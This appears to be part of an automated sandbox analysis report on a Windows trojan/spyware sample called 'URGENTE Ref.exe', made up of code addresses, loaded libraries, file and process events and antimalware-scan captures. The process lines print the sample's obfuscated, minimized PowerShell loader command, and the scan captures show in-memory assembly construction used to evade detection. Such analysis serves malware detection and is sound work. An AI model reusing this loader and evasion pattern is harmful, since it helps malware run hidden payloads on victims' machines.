Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235DF1BF	10_2_235DF1BF
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D3BA0	10_2_235D3BA0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D09A0	10_2_235D09A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D3240	10_2_235D3240
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D0040	10_2_235D0040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D4E60	10_2_235D4E60
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D1C60	10_2_235D1C60
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D4810	10_2_235D4810
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D2C00	10_2_235D2C00
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235DF228	10_2_235DF228
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D4820	10_2_235D4820
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D3EC0	10_2_235D3EC0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D0CC0	10_2_235D0CC0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D28E0	10_2_235D28E0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D2290	10_2_235D2290
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D9281	10_2_235D9281
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D3880	10_2_235D3880
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D0680	10_2_235D0680
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D0CAF	10_2_235D0CAF
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D54A0	10_2_235D54A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235D22A0	10_2_235D22A0
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EE348	10_2_235EE348
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E0508	10_2_235E0508
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EE668	10_2_235EE668
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E6C88	10_2_235E6C88
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E7F48	10_2_235E7F48
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EB148	10_2_235EB148
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EE978	10_2_235EE978
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ECD68	10_2_235ECD68
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E9B68	10_2_235E9B68
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EDD08	10_2_235EDD08
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E7908	10_2_235E7908
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EAB08	10_2_235EAB08
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EF928	10_2_235EF928
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EC728	10_2_235EC728
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E9528	10_2_235E9528
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EEFC8	10_2_235EEFC8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E8BC8	10_2_235E8BC8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EBDC8	10_2_235EBDC8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EC3F9	10_2_235EC3F9
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ED9E8	10_2_235ED9E8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E75E8	10_2_235E75E8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EA7E8	10_2_235EA7E8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ED397	10_2_235ED397
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EE988	10_2_235EE988
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EB788	10_2_235EB788
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E8588	10_2_235E8588
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ED3A8	10_2_235ED3A8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E6FA8	10_2_235E6FA8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EA1A8	10_2_235EA1A8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EFC48	10_2_235EFC48
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ECA48	10_2_235ECA48
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E9848	10_2_235E9848
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E0040	10_2_235E0040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E8268	10_2_235E8268
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EB468	10_2_235EB468
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EF608	10_2_235EF608
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EC408	10_2_235EC408
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E9208	10_2_235E9208
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E0006	10_2_235E0006
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EFC37	10_2_235EFC37
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EE028	10_2_235EE028
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E7C28	10_2_235E7C28
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EAE28	10_2_235EAE28
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ED6C8	10_2_235ED6C8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E72C8	10_2_235E72C8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EA4C8	10_2_235EA4C8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E04F7	10_2_235E04F7
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EAAF7	10_2_235EAAF7
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EF2E8	10_2_235EF2E8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EC0E8	10_2_235EC0E8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E8EE8	10_2_235E8EE8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E8898	10_2_235E8898
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EEC98	10_2_235EEC98
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235ED088	10_2_235ED088
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E9E88	10_2_235E9E88
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EECA8	10_2_235EECA8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235E88A8	10_2_235E88A8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_235EBAA8	10_2_235EBAA8
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23612300	10_2_23612300
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23610040	10_2_23610040
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23610760	10_2_23610760
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23610E48	10_2_23610E48
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_236137F2	10_2_236137F2
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23611530	10_2_23611530
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23611C18	10_2_23611C18
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_236122F1	10_2_236122F1
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23610022	10_2_23610022
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23610750	10_2_23610750
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23610E38	10_2_23610E38
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23611521	10_2_23611521
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_23611C08	10_2_23611C08

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nskD2BC.tmp\nsExec.dll 3E3D516D4F28948A474704D5DC9907DBE39E3B3F98E7299F536337278C59C5C9

Source: URGENTE Ref.exe, 00000000.00000000.1212619561.0000000000433000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameimmensest autoecic.exe6 vs URGENTE Ref.exe
Source: URGENTE Ref.exe	Binary or memory string: OriginalFilenameimmensest autoecic.exe6 vs URGENTE Ref.exe

Source: URGENTE Ref.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/21@7/6

Source: C:\Users\user\Desktop\URGENTE Ref.exe	Code function: 0_2_0040322B EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040322B
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_0040322B EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		10_2_0040322B

Source: C:\Users\user\Desktop\URGENTE Ref.exe

Code function: 0_2_00404486 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404486

Source: C:\Users\user\Desktop\URGENTE Ref.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\URGENTE Ref.exe

File created: C:\Users\user\AppData\Roaming\fyldepenneblkkets

Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2380:120:WilError_03

Source: unknown	Process created: C:\Users\user\Desktop\URGENTE Ref.exe "C:\Users\user\Desktop\URGENTE Ref.exe"
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Unsexual24=gc -Raw 'C:\Users\user\AppData\Roaming\fyldepenneblkkets\fremtoning\Theopneustic\Portentousness.Unm177';$Authorize=$Unsexual24.SubString(53440,3);.$Authorize($Unsexual24)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Undismembered.exe "C:\Users\user\AppData\Local\Temp\Undismembered.exe"
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Unsexual24=gc -Raw 'C:\Users\user\AppData\Roaming\fyldepenneblkkets\fremtoning\Theopneustic\Portentousness.Unm177';$Authorize=$Unsexual24.SubString(53440,3);.$Authorize($Unsexual24)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Undismembered.exe "C:\Users\user\AppData\Local\Temp\Undismembered.exe"	Jump to behavior

Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\URGENTE Ref.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Ndlandings $Hustruer $Fragtvognes), (pachyhymenic @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Fgtemesteren = [AppDomain]::CurrentDomain.GetAssemblies()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Bortrationaliserings)), $Prefeudalism).DefineDynamicModule($Albaner, $false).DefineType($Unneutralized, $Venstrehaandsarbejde, [System

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D6C7CD push edi; ret	2_2_04D6C7D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D6C768 push ebp; ret	2_2_04D6C792
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D6C3D0 push ebp; ret	2_2_04D6C792
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D6C8ED pushad ; ret	2_2_04D6C8F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D6EB08 push eax; mov dword ptr [esp], edx	2_2_04D6EB0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D6B9C8 push ds; ret	2_2_04D6B9D2
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_3_0019CA98 pushfd ; retf 0019h	10_3_0019CA99
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_3_0019EE18 push eax; iretd	10_3_0019EE65
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_3_0019EE8C push eax; iretd	10_3_0019EEA9
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_3_0019CF4C push eax; iretd	10_3_0019CF4D
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_00159C30 push esp; retf 0017h	10_2_00159D55
Source: C:\Users\user\AppData\Local\Temp\Undismembered.exe	Code function: 10_2_2361A227 pushfd ; ret	10_2_2361A231

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
